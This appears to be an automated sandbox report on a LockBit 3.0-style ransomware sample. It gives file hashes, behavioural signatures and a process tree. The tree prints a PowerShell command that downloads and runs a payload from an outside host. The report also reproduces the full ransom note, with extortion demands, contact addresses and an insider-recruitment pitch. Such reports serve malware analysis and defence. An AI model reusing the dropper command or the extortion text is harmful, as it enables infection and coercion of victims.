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Analysis

  • max time kernel
    93s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/08/2024, 02:23

General

  • Target

    e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58.exe

  • Size

    466KB

  • MD5

    0fdbc8c24e84eea10dc25e81765014a1

  • SHA1

    2d566a2b94fc8b16b97200392db1bbe714c31289

  • SHA256

    e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58

  • SHA512

    3cb0c09cc5303f7842fd5ba79a118f62586c4f494a2168c6103db55697fe9dc063f866ec5ee8fc208e01cfe7d7e6b044847c824ee28ed7b4ba41d035fb7da72f

  • SSDEEP

    12288:CgZXEAO/BUdG3gVdt7Kdm5bakhM/7xah42prW1:CgZXoZUTVdt7K0JakhM1ah42prW1

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://master-repogen.vercel.app/file/server.scr

Extracted

Path

C:\wlJ8FiR2h.README.txt

Family

lockbit

Ransom Note
~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~ >>>> Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom DeathGrip Ransomware Attack | t.me/DeathGripRansomware This computer is attacked by russian ransomware community of professional black hat hackers. Your every single documents / details is now under observation of those hackers. If you want to get it back then you have to pay 1000$ for it. This Attack Is Done By Team RansomVerse You Can Find Us On Telegram @DeathGripRansomware Contact The Owner For The Decrypter Of This Ransomware #DeathGripMalware >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. Life is too short to be sad. Be not sad, money, it is only paper. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. You can obtain information about us on Telegram t.me/DeathGripRansomware >>>> You need contact us and decrypt one file for free on these TOR sites with your personal DECRYPTION ID Download and install TOR Browser https://www.torproject.org/ Write to a chat and wait for the answer, we will always answer you. Sometimes you will need to wait for our answer because we attack many companies. Links for Tor Browser: http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion Link for the normal browser http://lockbitsupp.uz >>>> Your personal DECRYPTION ID: B7568014A48684D6D525F3F3722638C4 >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again! >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. You can contact us using on Telegram messenger without registration and text t.me/DeathGripRansomware Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in jabber or tox. If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave browser Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
URLs

http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion

http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion

http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion

http://lockbitsupp.uz

http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion

http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion

http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion

http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion

http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion

http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion

http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion

http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion

http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion

Signatures

  • Lockbit

    Ransomware family with multiple variants released since late 2019.

  • Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
  • Renames multiple (625) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops desktop.ini file(s) 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in System32 directory 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Control Panel 2 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58.exe
    "C:\Users\Admin\AppData\Local\Temp\e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Dropper.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:452
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5072
      • C:\Users\Admin\Downloads\server.scr
        "C:\Users\Admin\Downloads\server.scr"
        3⤵
        • Executes dropped EXE
        • Drops desktop.ini file(s)
        • Sets desktop wallpaper using registry
        • System Location Discovery: System Language Discovery
        • Modifies Control Panel
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3200
        • C:\Windows\splwow64.exe
          C:\Windows\splwow64.exe 12288
          4⤵
          • Drops file in System32 directory
          PID:2876
        • C:\ProgramData\E3C9.tmp
          "C:\ProgramData\E3C9.tmp"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1572
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\E3C9.tmp >> NUL
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1764
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
    1⤵
      PID:904
    • C:\Windows\system32\printfilterpipelinesvc.exe
      C:\Windows\system32\printfilterpipelinesvc.exe -Embedding
      1⤵
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:4416
      • C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE
        /insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{1F8726A3-C1F5-47C3-93B7-A8FE2A3BDA0F}.xps" 133671254049960000
        2⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious use of SetWindowsHookEx
        PID:3768

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\$Recycle.Bin\S-1-5-21-656926755-4116854191-210765258-1000\FFFFFFFFFFF

      Filesize

      129B

      MD5

      db8fb96a02fee53119cb4553aecfe7d0

      SHA1

      9205eae4c90760b0a1ac4aedf9124af4f3fa3111

      SHA256

      d1589a28027408bcce85baaba58e3c4908adf7d3a4763627576af9bdc26e5910

      SHA512

      d3707bb8198bd1cc54e2d7d80dc0d143a33f578e505068d8cb6e214d1b323c1d0affe2016c46d83ed853bbe258d6ccae90812e19f13aa5952d3e1d6b886ec6e0

    • C:\ProgramData\E3C9.tmp

      Filesize

      14KB

      MD5

      294e9f64cb1642dd89229fff0592856b

      SHA1

      97b148c27f3da29ba7b18d6aee8a0db9102f47c9

      SHA256

      917e115cc403e29b4388e0d175cbfac3e7e40ca1742299fbdb353847db2de7c2

      SHA512

      b87d531890bf1577b9b4af41dddb2cdbbfa164cf197bd5987df3a3075983645a3acba443e289b7bfd338422978a104f55298fbfe346872de0895bde44adc89cf

    • C:\Users\Admin\AppData\Local\Temp\Dropper.bat

      Filesize

      470B

      MD5

      8073ff57f855d5cd51346f011933d9fb

      SHA1

      d24fc282fb660945b87e1c41860a031f6e7ec9f6

      SHA256

      6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71

      SHA512

      9f2e04c4f8bdeab0e2075b5bc42edbe6a9ee4221fbf1ebbacd44238576e77f7b2d5f5d3ac90d433b8b6f5493fef51747405e14a5aa2cf59a4663b2cf385b4610

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uhehxghz.zq0.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\death.jpg

      Filesize

      90KB

      MD5

      37ab80413097350490125494b8df064d

      SHA1

      ecf76846a43868523e4012092c1aa3e8d547f3af

      SHA256

      ab56a96405a60ee02e4830950138cbe5ea54cb20ebc5d93a5ab9ec122679d19b

      SHA512

      ff93389a1310b9d99ff875e215fe80935c90c6781f392f5be15a123c90885d38bf771e8e027bd91c40d47faeb1dc02ff569d8807ec3ddf8214af57eeefee4a5d

    • C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Open Notebook.onetoc2

      Filesize

      4KB

      MD5

      f710f55c1b6684b9bba3cde1b61d2fd0

      SHA1

      7192e90e5faf82087b1764f2a1374c335f870d1d

      SHA256

      7f401941e5c4fdf0c696e8b53f493c6506e4b6a816ceea3a77fadb26d15de305

      SHA512

      e8ae5ae3344e18d6b199580896305acf1d3a5785d920cc69b85385c2187604fc24811ac6e9fdf401721d8013c17edd54a3ccc840ea3d944e00c2af183e269f1b

    • C:\Users\Admin\Downloads\DDDDDDDDDD

      Filesize

      150KB

      MD5

      16f04b27bd73cd442bf8429bae51b604

      SHA1

      42eebd0c2ee2d418ba8ab367ac7019a69adb2807

      SHA256

      f64b9b63285c7d9023819479e10302e46fdd4afca73c46b013bae043530340b1

      SHA512

      7e71e54083494ffcacc2bed4e9ef1f73f947915509e7bf79f4c845b221d01426cd7bff23bfb2d5be0640eb8d88312e7b9d17f301e84b3f345c5858ebc58ff394

    • C:\Users\Admin\Downloads\server.scr

      Filesize

      150KB

      MD5

      7e503c206e57f0295da017914a957d04

      SHA1

      96c375b9c57292db73c7ef2f2df16cf7be1604bb

      SHA256

      274844568a6a9ce334d71efeac21f528d7b54b2cd4377c978cc1270c6ad986c4

      SHA512

      cd4889ae107c54df854042e030eb431664d4db9d6dc908d1f1910ca49b89d247222f9d19440fcc2d9a120c95b56cd694750072ab9486eea961b8c33391344c1c

    • C:\wlJ8FiR2h.README.txt

      Filesize

      3KB

      MD5

      b9674de0868a93e9121bdb1d02d80130

      SHA1

      79d692fd03d3110a4358e2cc7442af9517489f3f

      SHA256

      9268d24e96639cf4c0e8d74f9769092b415015692ea528820faaded6fc5b052c

      SHA512

      b3264ad33eddedb2c18da883e2345247c762adc8a604991fce931cba06b86c361d23fa121e79d6c69948a2d5b9c1613139f401b971360d9d684abb5a61543c02

    • F:\$RECYCLE.BIN\S-1-5-21-656926755-4116854191-210765258-1000\DDDDDDDDDDD

      Filesize

      129B

      MD5

      529b10b6baed87f22bc09b97756cdc4c

      SHA1

      b92704b2c72778ac8b233fbb27665c083758eb72

      SHA256

      8afbd34770bf51f99becefbc6ea727ec7d40cd2de48d8fcfe4065b7eb82d4d75

      SHA512

      97fb93a6fbd6b17dec0a56dfba2678d18d0316a43060a17886fd02ee4abed715b736fdf62196eea74d32c81844e70d55e5bb26e28c3c797802c3b5a69217520b

    • memory/3200-2939-0x0000000074850000-0x0000000074A60000-memory.dmp

      Filesize

      2.1MB

    • memory/3200-35-0x0000000074850000-0x0000000074A60000-memory.dmp

      Filesize

      2.1MB

    • memory/3768-2936-0x00007FF822610000-0x00007FF822620000-memory.dmp

      Filesize

      64KB

    • memory/3768-2934-0x00007FF822610000-0x00007FF822620000-memory.dmp

      Filesize

      64KB

    • memory/3768-2969-0x00007FF8202B0000-0x00007FF8202C0000-memory.dmp

      Filesize

      64KB

    • memory/3768-2968-0x00007FF8202B0000-0x00007FF8202C0000-memory.dmp

      Filesize

      64KB

    • memory/3768-2938-0x00007FF822610000-0x00007FF822620000-memory.dmp

      Filesize

      64KB

    • memory/3768-2937-0x00007FF822610000-0x00007FF822620000-memory.dmp

      Filesize

      64KB

    • memory/3768-2935-0x00007FF822610000-0x00007FF822620000-memory.dmp

      Filesize

      64KB

    • memory/5072-24-0x0000000006440000-0x0000000006794000-memory.dmp

      Filesize

      3.3MB

    • memory/5072-25-0x0000000006810000-0x000000000682E000-memory.dmp

      Filesize

      120KB

    • memory/5072-12-0x0000000006090000-0x00000000060B2000-memory.dmp

      Filesize

      136KB

    • memory/5072-11-0x0000000074A10000-0x00000000751C0000-memory.dmp

      Filesize

      7.7MB

    • memory/5072-14-0x0000000006220000-0x0000000006286000-memory.dmp

      Filesize

      408KB

    • memory/5072-10-0x0000000074A10000-0x00000000751C0000-memory.dmp

      Filesize

      7.7MB

    • memory/5072-27-0x0000000007E60000-0x00000000084DA000-memory.dmp

      Filesize

      6.5MB

    • memory/5072-13-0x0000000006140000-0x00000000061A6000-memory.dmp

      Filesize

      408KB

    • memory/5072-26-0x0000000006860000-0x00000000068AC000-memory.dmp

      Filesize

      304KB

    • memory/5072-9-0x0000000005A20000-0x0000000006048000-memory.dmp

      Filesize

      6.2MB

    • memory/5072-8-0x0000000003260000-0x0000000003296000-memory.dmp

      Filesize

      216KB

    • memory/5072-31-0x0000000074A10000-0x00000000751C0000-memory.dmp

      Filesize

      7.7MB

    • memory/5072-28-0x0000000006D10000-0x0000000006D2A000-memory.dmp

      Filesize

      104KB

    • memory/5072-7-0x0000000074A1E000-0x0000000074A1F000-memory.dmp

      Filesize

      4KB